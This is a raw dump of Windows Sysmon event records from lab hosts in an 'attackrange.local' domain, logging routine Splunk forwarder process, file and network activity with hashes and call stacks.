Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EA31BBD3AEA47F9E566B4F67F0DD27A8,SHA256=60B903E7ADF1BF0BD17AEE38A833ED2D97D2F4F74467C19A4101633B6BC6A5D6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014343Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:15.486{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=18F2D70E4B1ECCCE2EE37F194F928803,SHA256=2954C80665242508374545DB4ED38D3A7C3DF099BFD50E1DCAC3F104B3E597F3,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:12.368{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59292-false10.0.1.12-8000- 23542300x800000000000000046185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:16.990{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C535EB2FD12DC34537C63AA37814BA5F,SHA256=265003A5895FFA829592F734B7DB687A495F4C86A6AA22A0B9C9F90D6C6ABAB0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014344Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:16.501{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=58A21A627ECA9264B18B260B81A0932A,SHA256=1A73B4DC96402BE3EF3EC02698C39D38A85EEB1D770D4F3F4566CA58F8D3E5A5,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:16.302{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2500-00000000F001}2748C:\Windows\System32\spoolsv.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014346Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:17.517{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=444438655C09004C608555ACBCFE59BF,SHA256=9750C8B66FCC89B2BCF0D2A8559EF70934F13DF3328E3E79C965703E9482380B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:17.490{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6FF5-613B-F10A-00000000F001}5152C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:17.490{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:17.490{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:17.490{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:17.490{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:17.490{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6FF5-613B-F10A-00000000F001}5152C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:17.490{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6FF5-613B-F10A-00000000F001}5152C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:17.490{7BD73061-6FF5-613B-F10A-00000000F001}5152C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000014345Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:15.485{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50150-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014347Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:18.532{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C1013ABDF400C0AB732CCA04145169EE,SHA256=E753C0A8E879DC061E504F87D831D500F40F3DE90FD32E915E4AB22B1266D0AE,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.615{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6FF6-613B-F30A-00000000F001}6148C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.615{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.615{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.615{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.615{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.615{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6FF6-613B-F30A-00000000F001}6148C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.615{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6FF6-613B-F30A-00000000F001}6148C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.615{7BD73061-6FF6-613B-F30A-00000000F001}6148C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.505{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1A75A92E003DFA6870299A49CE0FB848,SHA256=BD59786C69E9BDB30C2E33C7A96F17C0324CD26D7E07B43AC3852DC391E27EFD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.505{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=B56F101E8C0ADDE036BCA4B1567AB2DD,SHA256=456BC5E05E79174A08793F6F5AA0E6CAEBA03678C0621891C44A41F854C13C9B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.349{7BD73061-6FF6-613B-F20A-00000000F001}69285320C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.115{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6FF6-613B-F20A-00000000F001}6928C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.115{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.115{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.115{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.115{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.115{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6FF6-613B-F20A-00000000F001}6928C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 